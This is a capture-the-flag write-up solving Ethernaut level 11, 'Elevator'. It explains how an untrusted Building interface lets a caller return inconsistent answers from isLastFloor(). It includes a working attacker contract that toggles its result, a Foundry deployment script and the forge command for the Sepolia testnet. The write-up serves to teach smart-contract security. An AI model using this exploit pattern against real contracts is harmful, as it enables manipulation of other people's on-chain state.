The Ethernaut CTF Solutions | 11 - Elevator
Strategic Ascent: Turning Interfaces into Tools for Advancement
Table of contents
Goals
The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
The hack
The Elevator is a level that is supposed to elevate (!) our knowledge about smart contract interface. An interface defines function signatures, but not their logic. This is a way to interact with other contracts without having to know the implementation details.
However, in this case, we can create our very own Building
instance and use it to define our version of the isLastFloor()
function.
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
In the goTo()
function, isLastFloor
is called twice. The first time with any value (this will set the last floor), and the second time with the floor we want to go to (defined in the contract's storage). We can use this to our advantage by crafting a isLastFloor()
that will return false
the first time and true
the second time.
This will allow us to reach the top of the building.
Solution
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IElevator {
function goTo(uint256 _floor) external;
}
contract StairwayToHeaven {
bool private toogle;
IElevator private elevator;
constructor(address _elevator) {
elevator = IElevator(_elevator);
}
// Implement the isLastFloor function to return false the first time (set
// the floor to any uint value) and true the second time to go to the top
function isLastFloor(uint) public returns (bool) {
toogle = !toogle;
return toogle;
}
// Pick your number :)
function attack(uint256 _floor) external {
elevator.goTo(_floor);
}
}
Now, we can write our deployment script:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {StairwayToHeaven} from "../src/11_Elevator.sol";
interface IElevator {
function top() external view returns (bool);
}
contract PoC is Script {
// Replace with your Elevator instance
address payable immutable elevator =
payable(0xbEd2A62C26eC563e2499c4b9e47383995C6912B3);
function run() external payable {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
console2.log("Is this the top?", IElevator(elevator).top());
StairwayToHeaven stairwayToHeaven = new StairwayToHeaven(elevator);
stairwayToHeaven.attack(75);
console2.log("Is this the top?", IElevator(elevator).top());
vm.stopBroadcast();
}
}
Then, you can use forge scripts to deploy the contract and call the attack
function with the floor you want to go to.
forge script script/11_Elevator.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Takeaway
Interfaces are a way to interact with other contracts without having to know the implementation details...
... so never trust them blindly!
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/